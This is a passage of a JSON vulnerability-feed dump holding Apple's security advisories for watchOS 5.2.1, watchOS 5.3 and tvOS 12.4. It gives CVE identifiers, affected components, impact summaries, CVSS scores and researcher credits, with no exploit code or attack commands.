assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-05-13T00:00:00", "type": "apple", "title": "About the security content of watchOS 5.2.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8573", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8592", "CVE-2019-8593", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8612", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8626", "CVE-2019-8637", "CVE-2019-8664"], "modified": "2019-05-13T00:00:00", "id": "APPLE:0B002AB816638E74B596AA40B55E1D50", "href": "https://support.apple.com/kb/HT210122", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:40", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.2.1\n\nReleased May 13, 2019\n\n**AppleFileConduit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8593: Dany Lisiansky (@DanyL931)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted movie file may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved error handling.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added August 1, 2019\n\n**Disk Images**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2019-8591: Ned Williamson working with Google Project Zero\n\n**Mail**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8626: Natalie Silvanovich of Google Project Zero\n\n**Mail Message Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8613: Natalie Silvanovich of Google Project Zero\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: Natalie Silvanovich of Google Project Zero\n\nEntry added August 1, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause a system denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8573: Natalie Silvanovich of Google Project Zero\n\nEntry added July 3, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: Natalie Silvanovich of Google Project Zero\n\nEntry added July 3, 2019\n\n**MobileInstallation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8568: Dany Lisiansky (@DanyL931)\n\n**MobileLockdown**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8637: Dany Lisiansky (@DanyL931)\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2019-8577: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A maliciously crafted SQL query may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8600: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8598: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2019-8602: Omer Gull of Checkpoint Research\n\n**sysdiagnose**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2019-8574: Dayton Pidhirney (@_watbulb) of Seekintoo (@seekintoo)\n\nEntry updated February 3, 2020\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may result in the disclosure of process memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech\n\nCVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8622: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8623: Samuel Gro\u00df of Google Project Zero\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position can modify driver state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry added May 30, 2019\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8620: David Kreitschmann and Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Clang**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\n**CoreAudio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added July 25, 2019\n\n**CoreFoundation**\n\nWe would like to acknowledge Vozzie and Rami and m4bln, Xiangqian Zhang, Huiming Liu of Tencent's Xuanwu Lab for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero and an anonymous researcher for their assistance.\n\n**MediaLibrary**\n\nWe would like to acknowledge Angel Ramirez and Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-27T08:19:16", "title": "About the security content of watchOS 5.2.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8568", "CVE-2019-8593", "CVE-2019-8577", "CVE-2019-8612", "CVE-2019-8592", "CVE-2019-8591", "CVE-2019-8602", "CVE-2019-8637", "CVE-2019-8560", "CVE-2019-8585", "CVE-2019-8622", "CVE-2019-8601", "CVE-2019-8620", "CVE-2019-8607", "CVE-2019-8605", "CVE-2019-8583", "CVE-2019-8626", "CVE-2019-8573", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8574", "CVE-2019-8623", "CVE-2019-8613", "CVE-2019-8576", "CVE-2019-8664"], "modified": "2020-07-27T08:19:16", "id": "APPLE:HT210122", "href": "https://support.apple.com/kb/HT210122", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-11T19:30:11", "description": "# About the security content of watchOS 5.3\n\nThis document describes the security content of watchOS 5.3.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.3\n\nReleased July 22, 2019\n\n**Bluetooth**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2019-9506: Daniele Antonioli of SUTD, Singapore, Dr. Nils Ole Tippenhauer of CISPA, Germany, and Prof. Kasper Rasmussen of University of Oxford, England\n\nThe changes for this issue mitigate CVE-2020-10135.\n\nEntry added August 13, 2019, updated June 25, 2020 \n\n**Core Data**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8647: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8660: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Digital Touch**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8624: Natalie Silvanovich of Google Project Zero\n\n**FaceTime**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8648: Tao Huang and Tielei Wang of Team Pangu\n\n**Heimdal**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An issue existed in Samba that may allow attackers to perform unauthorized actions by intercepting communications between services\n\nDescription: This issue was addressed with improved checks to prevent unauthorized actions.\n\nCVE-2018-16860: Isaac Boukris and Andrew Bartlett of the Samba Team and Catalyst\n\n**Image Processing**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8668: an anonymous researcher\n\nEntry added October 8, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8633: Zhuo Liang of Qihoo 360 Vulcan Team\n\nEntry added September 17, 2019\n\n**libxslt**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to view sensitive information\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2019-13118: found by OSS-Fuzz\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Users removed from an iMessage conversation may still be able to alter state\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8659: Ryan Kontos (@ryanjkontos), Will Christensen of University of Oregon\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may cause an unexpected application termination\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8665: Michael Hernandez of XYZ Marketing\n\n**Quick Look**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker may be able to trigger a use-after-free in an application deserializing an untrusted NSDictionary\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8662: Natalie Silvanovich and Samuel Gro\u00df of Google Project Zero\n\n**Siri**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**UIFoundation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8657: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**Wallet**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A user may inadvertently complete an in-app purchase while on the lock screen\n\nDescription: The issue was addressed with improved UI handling.\n\nCVE-2019-8682: Jeff Braswell (JeffBraswell.com)\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8658: akayn working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8669: akayn working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8672: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8676: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8683: lokihardt of Google Project Zero\n\nCVE-2019-8684: lokihardt of Google Project Zero\n\nCVE-2019-8685: akayn, Dongzhuo Zhao working with ADLab of Venustech, Ken Wong (@wwkenwong) of VXRL, Anthony Lai (@darkfloyd1014) of VXRL, and Eric Lung (@Khlung1) of VXRL\n\nCVE-2019-8688: Insu Yun of SSLab at Georgia Tech\n\nCVE-2019-8689: lokihardt of Google Project Zero\n\n\n\n## Additional recognition\n\n**MobileInstallation**\n\nWe would like to acknowledge Dany Lisiansky (@DanyL931) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: June 25, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-07-22T00:00:00", "type": "apple", "title": "About the security content of watchOS 5.3", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16860", "CVE-2019-13118", "CVE-2019-8624", "CVE-2019-8633", "CVE-2019-8646", "CVE-2019-8647", "CVE-2019-8648", "CVE-2019-8657", "CVE-2019-8658", "CVE-2019-8659", "CVE-2019-8660", "CVE-2019-8662", "CVE-2019-8665", "CVE-2019-8668", "CVE-2019-8669", "CVE-2019-8672", "CVE-2019-8676", "CVE-2019-8682", "CVE-2019-8683", "CVE-2019-8684", "CVE-2019-8685", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-9506", "CVE-2020-10135"], "modified": "2019-07-22T00:00:00", "id": "APPLE:42A8665131AAD41DD01DD2DE9BBDEBC5", "href": "https://support.apple.com/kb/HT210353", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:48", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.3\n\nReleased July 22, 2019\n\n**Bluetooth**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2019-9506: Daniele Antonioli of SUTD, Singapore, Dr. Nils Ole Tippenhauer of CISPA, Germany, and Prof. Kasper Rasmussen of University of Oxford, England\n\nThe changes for this issue mitigate CVE-2020-10135.\n\nEntry added August 13, 2019, updated June 25, 2020 \n\n**Core Data**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8647: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8660: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Digital Touch**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8624: Natalie Silvanovich of Google Project Zero\n\n**FaceTime**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8648: Tao Huang and Tielei Wang of Team Pangu\n\n**Heimdal**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An issue existed in Samba that may allow attackers to perform unauthorized actions by intercepting communications between services\n\nDescription: This issue was addressed with improved checks to prevent unauthorized actions.\n\nCVE-2018-16860: Isaac Boukris and Andrew Bartlett of the Samba Team and Catalyst\n\n**Image Processing**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8668: an anonymous researcher\n\nEntry added October 8, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8633: Zhuo Liang of Qihoo 360 Vulcan Team\n\nEntry added September 17, 2019\n\n**libxslt**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to view sensitive information\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2019-13118: found by OSS-Fuzz\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Users removed from an iMessage conversation may still be able to alter state\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8659: Ryan Kontos (@ryanjkontos), Will Christensen of University of Oregon\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may cause an unexpected application termination\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8665: Michael Hernandez of XYZ Marketing\n\n**Quick Look**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker may be able to trigger a use-after-free in an application deserializing an untrusted NSDictionary\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8662: Natalie Silvanovich and Samuel Gro\u00df of Google Project Zero\n\n**Siri**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**UIFoundation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8657: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**Wallet**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A user may inadvertently complete an in-app purchase while on the lock screen\n\nDescription: The issue was addressed with improved UI handling.\n\nCVE-2019-8682: Jeff Braswell (JeffBraswell.com)\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8658: akayn working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8669: akayn working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8672: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8676: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8683: lokihardt of Google Project Zero\n\nCVE-2019-8684: lokihardt of Google Project Zero\n\nCVE-2019-8685: akayn, Dongzhuo Zhao working with ADLab of Venustech, Ken Wong (@wwkenwong) of VXRL, Anthony Lai (@darkfloyd1014) of VXRL, and Eric Lung (@Khlung1) of VXRL\n\nCVE-2019-8688: Insu Yun of SSLab at Georgia Tech\n\nCVE-2019-8689: lokihardt of Google Project Zero\n\n\n\n## Additional recognition\n\n**MobileInstallation**\n\nWe would like to acknowledge Dany Lisiansky (@DanyL931) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-25T07:44:38", "title": "About the security content of watchOS 5.3 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10135", "CVE-2019-8648", "CVE-2019-8669", "CVE-2019-8633", "CVE-2019-8682", "CVE-2019-8688", "CVE-2019-8665", "CVE-2018-16860", "CVE-2019-9506", "CVE-2019-8647", "CVE-2019-8624", "CVE-2019-8672", "CVE-2019-8660", "CVE-2019-8658", "CVE-2019-8676", "CVE-2019-13118", "CVE-2019-8659", "CVE-2019-8683", "CVE-2019-8646", "CVE-2019-8668", "CVE-2019-8684", "CVE-2019-8689", "CVE-2019-8685", "CVE-2019-8662", "CVE-2019-8657"], "modified": "2020-06-25T07:44:38", "id": "APPLE:HT210353", "href": "https://support.apple.com/kb/HT210353", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-28T19:31:18", "description": "# About the security content of tvOS 12.4\n\nThis document describes the security content of tvOS 12.4.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4\n\nReleased July 22, 2019\n\n**Bluetooth**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2019-9506: Daniele Antonioli of SUTD, Singapore, Dr. Nils Ole Tippenhauer of CISPA, Germany, and Prof. Kasper Rasmussen of University of Oxford, England\n\nThe changes for this issue mitigate CVE-2020-10135.\n\nEntry added August 13, 2019, updated June 25, 2020 \n\n**Core Data**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: natashenka of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8647: Samuel Gro\u00df and natashenka of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple TV 4K and Apple TV 